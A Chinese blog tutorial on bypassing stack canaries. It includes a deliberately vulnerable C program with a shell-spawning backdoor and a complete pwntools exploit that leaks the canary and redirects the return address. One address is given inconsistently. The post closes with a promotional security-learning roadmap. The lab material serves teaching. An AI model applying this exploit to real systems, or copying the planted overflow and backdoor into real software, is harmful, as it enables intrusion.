Canary基本介绍
在基本的栈溢出中,我们可以通过没有限制输入长度或限制不严格的函数等向栈中写入我们构造的数据,可写入的数据包括但不限于:
-
一段可执行的代码(关闭
NX
防护的前提下) -
一段特意构造的返回地址等
-
…
传统的防御机制之一就是开启
Canary
防护,该机制会向我们运行程序的栈底放入一串8字节的随机数据,在函数即将返回时会验证该数据是否发生改变,若发生改变则说明栈被改变了,直接call
进__stack_chk_fail
。验证成功则跳到leave 和 ret
正常的返回。
如何绕过
直接获取栈中canary
的值
若该程序会输出我们输入的字符串,则可以在输入数据时估计超出输入的限制1字节,由于C字符串是以'\0'
结尾的,我们多输入的1字节就会覆盖'\0'
,在接下来的输出中,程序本身使用的输出函数没有限制输出的长度,就会将栈中位于所存数据高地址处的Canary值泄露出来,在接下来我们向栈中写入恶意返回地址的时候就可以将该值覆写回去,验证成功。
获取fs:28h
中的canary
值
通过观察汇编代码,我们可以发现每次运行程序产生的随机canary
值都存在fs:28h
中,接下来会将该值放入EAX
中再mov
进程序的栈空间内。
mov rax,fs:28h
mov [rbp-8],rax
所以若程序中存在任意读的功能的函数,就可以直接读取该地址中的值即可。
逐字节爆破canary
值
其余的利用方式由于没有碰到,所以暂时不说,后续遇到了会进行补充。
准备环节
源程序
我们接下来用上述所说的第一种方式来尝试绕过一下canary
值的校验。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define MAX_LENGTH 100
void init()
{
setvbuf(stdin,0,_IONBF,0);
setvbuf(stdout,0,_IONBF,0);
}
void backdoor()
{
system("/bin/sh");
}
int main()
{
char buf[10] = {0};
init();
printf("[DEBUGING] main: %p\n",main);
printf("Hello,What's Your name?\n");
read(0,buf,MAX_LENGTH);
printf("%s",buf);
printf("Welcom!\n");
printf("But wait,WHO ARE YOU?\n");
read(0,buf,MAX_LENGTH);
printf("I don't know you,so bye ;)\n");
return 0;
}
对应的makefile
语句。
OBJS=pwn_1.c
CC=gcc # 默认就为gcc
CFLAGS+=-fstack-protector -no-pie -g
pwn_1:$(OBJS)
$(CC) $^ $(CFLAGS) -o $@
clean:
$(RM) *.o # 可不加
之后直接make
即可,记得将源文件命名为pwn_1.c,
之后gcc
可能会提示报错提示read
函数可能存在溢出的可能,不用理会。
可能存在的坑
记住头文件的引用,由于使用的read
等系统调用函数,所以要进入 Unix标准库unistd.h
。
checksec
之后我们checksec
该文件确保其开启了canary
防护机制。
Canary found
确认开启
objdump
通过观察代码可以多看到我们代码中是有一个等待被我们利用的函数backdoor()
的,所以我们的目的实际上就是在main
函数执行完毕之后返回到该函数中,
那我们势必就要计算出该函数与main
函数偏移之间的关系,这样在装在后既可以通过基地址与偏移量的差值找到backdoor
函数的地址。
objdmp -d pwn_1 -M intel
-d 反汇编
pwn_1
中的需要执行指令的那些section
-M 因特尔风格显示汇编代码,这样更贴近我们常见的汇编风格
启动!
确定问题所在
通过查看源程序(若无法获得源程序可以最简单的通过其行为判断), 发现其规定read
的最大长度为MAX_LENGTH 100
,而其buf
空间只有10
,所以确认存在栈溢出。
由于接下来的实验的截图不是来自一次完整的流程,而是反复执行为的是更加详细的显示整个流程,所以可能存在前后地址/值不一样的情况。
确定偏移量
首先我们显示用objdump -d pwn_1
确认其.text
段中main
函数和backdoor
函数的偏移量。
此处 (就不补0了)
-
main()
的地址为0x401237
-
backdoor()
的地址为0x401237
但对于backdoor()来说,由于前两条指令是为了保存之前的栈状态,初始化当前栈空间的,所以我们并不需要,在计算偏移量的时候直接:0x401237 - 0x401225
即可。
接下来我们将其应用到最终的脚本中,获取实际backdoor()
的地址。
from pwn import *
# from signal import signal, SIGPIPE, SIG_DFL, SIG_IGN
# signal(SIGPIPE, SIG_IGN)
p = process('./pwn_1')
# 暂停执行直到我们回车
raw_input('PAUSE')
# 将mian: 前的字符全过掉
p.recvuntil(b'main: ')
backdoor = int(p.recvuntil(b'\n',drop=True),16) - ( 0x401237 - 0x401225 )
# 将算出的地址输出给我们看一下
log.info("The backdoor address is :" + hex(backdoor))
由于程序中输出了main()
函数的地址,这样就无需再另外获取了,直接接受%p
表示的地址即可
backdoor = int(p.recvuntil(b'\n',drop=True),16) - ( 0x401237 - 0x401225 )
用接受到的main()
的地址,减去刚刚计算的偏移量,就是进程中backdoor()
的地址。
获取到随机的canary值
由于我们的源程序会以字符串的形式输出们输入的内容,而如前面所说 C 字符串是以'\0'
结尾的, **所以我们只要构造第一个read
的数据长度为`10
- 1
即可覆盖最后的
’\0’,从而将后面高地址处的
canary`值也输出。**
光说不练假把式,先来看一下我们的脚本:
payload = b'a' * 11
p.sendafter(b'?',payload)
p.recvuntil(b'a' * 11)
canary = b'\0' + p.recv(7)
# 向控制台输出日志
log.info("The Random Canary num is :%x",int.from_bytes(canary,byteorder='little'))
-
第一个问题:为什么
canary = p.recv(7)
由于我们刚刚输入了11个字节,而buf
只有10个字节的大小,
这样我们就可以向上覆盖,覆盖掉了canary
中的一个字节,同时可以读取到canary
剩余的7个字节 -
第二个问题:
int.from_bytes(canary,byteorder='little')
写法含义
将字符串对象转为整型小端 显示
观察内存
接下来为了方便观察所获的到的值确实是canary
的值,所以我们使用gdb
的attach
黏附到我们脚本打开的程序上,来观察。
使用方法 :attach + PID
(进入gdb
后)
之前我们多覆盖了一位,将 canary 的值低一位由0覆盖为了a,这里再拼接回来即可 到此为止,我们就得到了canary
值。
向栈中拼入返回地址
先拿来一块该程序的栈空间来观察。
第一个红色方框所圈区域,就是main
函数返回的上一个函数的地址(见第二个红色方框),所以我们只要能覆盖该地址即可。
为了覆盖该地址我们需要覆盖从buf
开始到该地址的所有空间,但其中存储着canary
的位置要将我们刚刚保存出的canary
再次放进去即可。
payload = b'a' * 10 # 覆盖数组所有空间
payload += canary # 由于数组空间后紧着的即使 canary 的空间,将该值放回去用来校验
pend = 0
payload += p64(pend) # 覆盖 rbp 指向的 8字节空间
payload += p64(backdoor) # 最终将返回地址放上我们backdoor的地址
p.sendafter(b'YOU?',payload)
# 暂停执行直到我们回车
raw_input('PAUSE')
之后通过gdb
查看该进程发现。
成功写入。
成功执行
完整脚本
from pwn import *
# from signal import signal, SIGPIPE, SIG_DFL, SIG_IGN
# signal(SIGPIPE, SIG_IGN)
p = process('./pwn_1')
raw_input('PAUSE')
p.recvuntil(b'main: ')
# canary =
backdoor = int(p.recvuntil(b'\n',drop=True),16) - ( 0x401237 - 0x401225 )
log.info("The backdoor address is :" + hex(backdoor))
payload = b'a' * 11
p.sendafter(b'?',payload)
p.recvuntil(b'a' * 11)
canary = b'\0' + p.recv(7)
log.info("The Random Canary num is :%x",int.from_bytes(canary,byteorder='little'))
payload = b'a' * 10 # 覆盖数组所有空间
payload += canary # 由于数组空间后紧着的即使 canary 的空间,将该值放回去用来校验
pend = 0
payload += p64(pend) # 覆盖 rbp 指向的 8字节空间
payload += p64(backdoor) # 最终将返回地址放上我们backdoor的地址
log.info("The payload is :%x",int.from_bytes(payload,byteorder='little'))
p.sendafter(b'YOU?',payload)
p.interactive()
最后
分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取
有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:
高清学习路线图或XMIND文件(点击下载原文件)
还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】